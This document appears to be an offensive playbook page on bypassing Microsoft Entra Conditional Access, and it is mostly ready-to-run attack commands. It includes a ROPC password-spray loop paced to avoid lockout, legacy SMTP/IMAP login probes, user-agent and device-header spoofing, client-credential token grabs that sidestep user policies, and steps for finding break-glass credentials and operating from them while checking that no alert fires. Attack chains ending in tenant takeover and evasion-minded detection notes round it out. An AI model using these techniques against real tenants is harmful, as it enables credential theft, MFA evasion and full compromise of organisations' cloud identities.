Entra Conditional Access Bypass

Entra Conditional Access Bypass

Conditional Access (CA) policies gate sign-ins by user/app/platform/location/device. Bypasses come from the gaps in policy scoping — legacy protocols not covered, service-principal flows out of scope, device/UA conditions spoofable, break-glass accounts excluded.

Phase 1: Enumerate the policy surface

Authenticated (Graph)

TOKEN=<GLOBAL_READER_OR_SECREADER>
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/beta/policies/conditionalAccessPolicies" \
  | jq '.value[] | {n:.displayName, st:.state, users:.conditions.users, apps:.conditions.applications, plat:.conditions.platforms, loc:.conditions.locations, ctrl:.grantControls}'

Authenticated (roadrecon)

roadrecon plugin policies > capolicies.json
# Look for: state=enabledForReportingButNotEnforced (audit-only), excludeUsers (BG accounts), excludeApplications, includeApplications missing 'All cloud apps'

Unauth signals

Sign-in failure error codes reveal CA:

• AADSTS53003 = blocked by Conditional Access — confirms a policy fired
• AADSTS50158 = external security challenge required (MFA-by-CA)
• AADSTS50053 = locked → smart-lockout, not CA
• AADSTS500011 = resource principal not found in tenant → app exclusion path
• No 53003 across many protocols + locations → CA has gaps

Phase 2: Legacy auth bypass (basic auth survival)

Despite "basic auth deprecation", many tenants still allow SMTP-AUTH; ROPC (Resource Owner Password Credentials) over oauth2/token is also frequently NOT covered by CA (CA gates Browser + Modern auth clients, but ROPC sneaks through if the policy doesn't include Other clients).

ROPC spray (no MFA prompt)

TARGET=<TARGET>; TENANT=<TENANT>
for u in $(cat valid_users.txt); do
  for p in $(cat pwlist.txt); do
    r=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/token" \
      -d "resource=https://graph.windows.net&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&grant_type=password&username=${u}@${TARGET}&password=${p}")
    if echo "$r" | jq -e .access_token >/dev/null; then echo "WIN: $u:$p"; break; fi
    sleep $((RANDOM % 3 + 4))
  done
done

SMTP-AUTH (Exchange Online)

# CA "block legacy auth" usually scopes 'Exchange ActiveSync' + 'Other clients' — verify SMTP submission:
swaks --server smtp.office365.com:587 --tls --auth LOGIN \
  --auth-user <UPN> --auth-password '<PW>' \
  --from <UPN> --to <UPN> --header "Subject: t" --body t
# 235 Authentication succeeded => SMTP-AUTH is alive ; tenant likely also lets ROPC through.

IMAP / POP

openssl s_client -crlf -connect outlook.office365.com:993
# A1 LOGIN <UPN> "<PW>"

EWS / Autodiscover with NTLM-over-OAuth

# MailSniper (PS) — pulls mailboxes via EWS using OAuth token, skips CA on EWS-app if 'Office 365 Exchange Online' isn't in policy scope:
Invoke-OpenInboxFinder -EmailList users.txt -ExchHostname outlook.office365.com -Verbose

Phase 3: Device / platform spoofing

CA "require compliant device" + "platform = Windows" rely on UA + x-ms-DeviceType headers — spoofable when the tenant lacks device certificate enforcement.

# Pretend to be a managed Windows client to bypass "block non-Windows":
curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Edge/120.0" \
  -H "x-ms-PKeyAuth: 1.0" \
  -d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e&grant_type=password&username=<UPN>&password=<PW>&scope=https://graph.microsoft.com/.default"
# client_id 29d9ed98 = Microsoft Authentication Broker — often in CA exclusion.

PKeyAuth spoof — without the actual device cert, this only works against CAs that just check the advertised platform, not device compliance state (very common misconfig).

Trusted-location bypass

# Tunnel auth from a VPS in a trusted-IP range. List location named-ranges:
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations" | jq '.[]|{n:.displayName,r:.ipRanges}'
# If a partner ASN is "trusted", any cloud VM in that ASN bypasses the geo control.

Phase 4: Service-principal / app-based bypass

CA historically scoped to USERS only. Workload Identity CA exists but is rarely enforced — service principals with Application.ReadWrite.All etc. authenticate as the app, no user, no MFA, no CA (unless Workload Identity CA is configured with Sign-in risk policies).

# If you have an app's client_id + secret/cert:
curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
  -d "client_id=<APP_ID>&client_secret=<SECRET>&grant_type=client_credentials&scope=https://graph.microsoft.com/.default"
# This token has Application permissions — bypasses user-scoped CA entirely.

See entra-privesc § service-principal credential addition for how to mint that secret.

Phase 5: Break-glass account abuse

Best practice: 2 BG accounts excluded from ALL CA + MFA, monitored by a SIEM alert. Reality: alert is misconfigured or the BG password is in a Confluence page / shared vault. Hunt:

# Find users excluded from MFA-enforcing policies:
jq '.value[] | select(.grantControls.builtInControls | tostring | contains("mfa")) | .conditions.users.excludeUsers' capolicies.json | sort -u
# UPNs of break-glass accounts. Search Confluence/SharePoint/git for those UPNs.

If BG creds are recovered → unrestricted Global Admin login from any IP, no MFA.

Chains

• entra-enum spray (no 53003) → ROPC password spray → mailbox (CA gap on Other clients).
• Phished low-priv user with Application.ReadWrite.All → mint app cert → app-token bypasses all user CA → tenant takeover.
• Discover BG account UPN → search internal wiki → unrestricted sign-in.
• CA excludes Microsoft Azure Management for emergency cases → use that client_id for ARM ops while avoiding MFA.

Tools

• MSOLSpray / TeamFiltration — ROPC password spray with CA-aware error parsing.
• MailSniper — EWS legacy-protocol pillage.
• AADInternals Invoke-AADIntPhoneSubscriberAuth — Phone-Subscriber-Auth bypass (deprecated but still works in some tenants).
• roadtx — arbitrary client_id + scope auth → CA-exclusion exploitation.
• swaks — SMTP-AUTH probing.

Detection signatures

• Sign-in log: Client app = Other clients with successful auth → ROPC/legacy auth survived.
• Many 53003 failures from same IP → CA working; pivot away from that protocol/app combo.
• Successful sign-in from break-glass account without a corresponding Sentinel alert → silent BG abuse.
• App sign-in (Service principal sign-ins table) from non-corp IP → SP credential abuse — distinct table, often un-monitored.

Decision gate

• All sign-ins return 53003 regardless of protocol → CA is tight; pivot to phishing (entra-device-code-phishing).
• ROPC succeeds for Microsoft Azure CLI client_id but not browser → CA scoped to browser only — use CLI tokens for everything.
• Found an excluded SP with RoleManagement.ReadWrite.Directory → escalate via entra-privesc.
• BG account inventory hit → log in once from a sacrificial IP to verify no alert fires, then operate from that account.